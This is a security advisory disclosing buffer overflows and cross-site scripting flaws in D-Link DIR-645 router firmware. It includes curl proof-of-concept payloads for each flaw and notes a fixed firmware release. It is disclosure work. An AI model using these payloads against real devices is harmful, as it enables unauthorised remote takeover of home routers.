[ADVISORY INFORMATION] Title: Multiple vulnerabilities on D-Link DIR-645 devices Discovery date: 06/03/2013 Release date: 02/08/2013 Advisory URL: http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt Credits: Roberto Paleari (firstname.lastname@example.org, twitter: @rpaleari)
[AFFECTED PRODUCTS] This security vulnerability affects the following products and firmware versions: * D-Link DIR-645, 1.03B08 Other products and firmware versions could also be vulnerable, but they were not checked.
[VULNERABILITY DETAILS] This router model is affected by multiple security vulnerabilities. All of them are exploitable by remote, unauthenticated attackers. Details are outlined in the following, including some proof-of-concepts.
Invoking the "post_login.xml" server-side script, attackers can specify a "hash" password value that is used to authenticate the user. This hash value is eventually processed by the "/usr/sbin/widget" local binary. However, the latter copies the user-controlled hash into a statically-allocated buffer, allowing attackers to overwrite adjacent memory locations.
As a proof-of-concept, the following URL allows attackers to control the return value saved on the stack (the vulnerability is triggered when executing "/usr/sbin/widget"):
curl http://<target ip>/post_login.xml?hash=AAA...AAABBBB
The value of the "hash" HTTP GET parameter consists in 292 occurrences of the 'A' character, followed by four occurrences of character 'B'. In our lab setup, characters 'B' overwrite the saved program counter (%ra).
Another buffer overflow affects the "hedwig.cgi" CGI script. Unauthenticated remote attackers can invoke this CGI with an overly-long cookie value that can overflow a program buffer and overwrite the saved program address.
Proof-of-concept: curl -b uid=$(perl -e 'print "A"x1400;') -d 'test' http://<target ip>/hedwig.cgi
The third buffer overflow vulnerability affects the "authentication.cgi" CGI script. This time the issue affects the HTTP POST paramter named "password". Again, this vulnerability can be abused to achieve remote code execution. As for all the previous issues, no authentication is required.
Proof-of-concept: curl -b uid=test -d $(perl -e 'print "uid=test&password=asd" . "A"x2024;') http://<target ip>/authentication.cgi
Proof-of-concept: curl "http://<target ip>/parentalcontrols/bind.php?deviceid=test'\"/><script>alert(1)</script><"
Proof-of-concept: curl "http://<target ip>/info.php?RESULT=testme\", msgArray); alert(1); //"
Proof-of-concept: curl "http://<target ip>/bsc_sms_send.php?receiver=testme\"/><script>alert(1);</script><div"
[REMEDIATION] D-Link has released an updated firmware version (1.04) that addresses this issue. The firmware is already available on D-Link web site, at the following URL: http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000
[DISCLAIMER] The author is not responsible for the misuse of the information provided in this security advisory. The advisory is a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.